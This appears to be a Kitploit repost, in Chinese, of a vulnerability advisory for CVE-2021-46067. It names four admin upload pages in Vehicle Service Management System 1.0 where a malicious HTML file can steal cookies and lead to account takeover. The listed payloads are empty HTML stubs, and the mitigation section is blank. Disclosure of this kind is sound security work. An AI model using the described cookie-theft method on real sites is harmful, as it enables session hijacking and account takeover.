Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover — CVE-2021-46067 - 在 Vehicle Service Management System 1.0 中，攻击者可以窃取 Cookie，从而导致完全账户接管。 | Kitploit
sanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeoverVehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover
CVE-2021-46067 - 在 Vehicle Service Management System 1.0 中，攻击者可以窃取 Cookie，从而导致完全账户接管。
34个月前
CVE-2021-46067
漏洞标题：Vehicle Service Management System - “多个”Cookie 窃取导致完全账户接管
CVE：CVE-2021-46067
CVSS：9.8 严重
参考链接：
描述：
在 Vehicle Service Management System 1.0 中，攻击者可以窃取 Cookie，从而导致完全账户接管。
1. Vehicle Service Management System - “我的账户”（/admin/?page=user）
漏洞利用：
载荷：
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
2. Vehicle Service Management System - “用户列表”（/admin/?page=user/manage_user）
漏洞利用：
载荷：
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
3. Vehicle Service Management System - “设置 - 系统徽标”（/admin/?page=system_info）
漏洞利用：
载荷：
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
4. Vehicle Service Management System - “设置 - 网站封面”（/admin/?page=system_info）
漏洞利用：
载荷：
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
影响：
攻击者上传恶意 html 文件，该文件会重定向到第三方网站，Cookie 在请求中暴露。这会导致完全账户接管。
缓解措施：
